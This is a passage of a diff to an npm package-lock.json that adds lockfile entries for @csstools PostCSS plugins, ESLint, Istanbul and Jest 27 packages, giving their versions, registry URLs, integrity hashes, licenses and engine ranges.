"https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.1.1.tgz", + "integrity": "sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/@csstools/postcss-cascade-layers": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz", + "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.2", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz", + "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-font-format-keywords": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz", + "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-hwb-function": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz", + "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-ic-unit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz", + "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz", + "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-nested-calc": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz", + "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-normalize-display-values": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz", + "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-oklab-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz", + "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-progressive-custom-properties": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz", + "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/@csstools/postcss-stepped-value-functions": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz", + "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-text-decoration-shorthand": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz", + "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz", + "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-unset-value": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz", + "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==", + "dev": true, + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/selector-specificity": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz", + "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==", + "dev": true, + "license": "CC0-1.0", + "engines": { + "node": "^14 || ^16 || >=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss-selector-parser": "^6.0.10" + } + }, + "node_modules/@emotion/hash": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", + "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==", + "license": "MIT" + }, + "node_modules/@emotion/unitless": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", + "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==", + "license": "MIT" + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/@eslint/eslintrc/node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@eslint/js": { + "version": "8.57.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz", + "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.13.0.tgz", + "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==", + "deprecated": "Use @eslint/config-array instead", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanwhocodes/object-schema": "^2.0.3", + "debug": "^4.3.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz", + "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==", + "deprecated": "Use @eslint/object-schema instead", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz", + "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/console/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/console/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/core": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz", + "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/reporters": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^27.5.1", + "jest-config": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-resolve-dependencies": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "jest-watcher": "^27.5.1", + "micromatch": "^4.0.4", + "rimraf": "^3.0.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/core/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/core/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/core/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/core/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/core/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/core/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/diff-sequences": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.3.0.tgz", + "integrity": "sha512-cG51MVnLq1ecVUaQ3fr6YuuAOitHK1S4WUJHnsPFE/quQr33ADUx1FfrTCpMCRxvy0Yr9BThKpDjSlcTi91tMA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/environment": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz", + "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/environment/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + 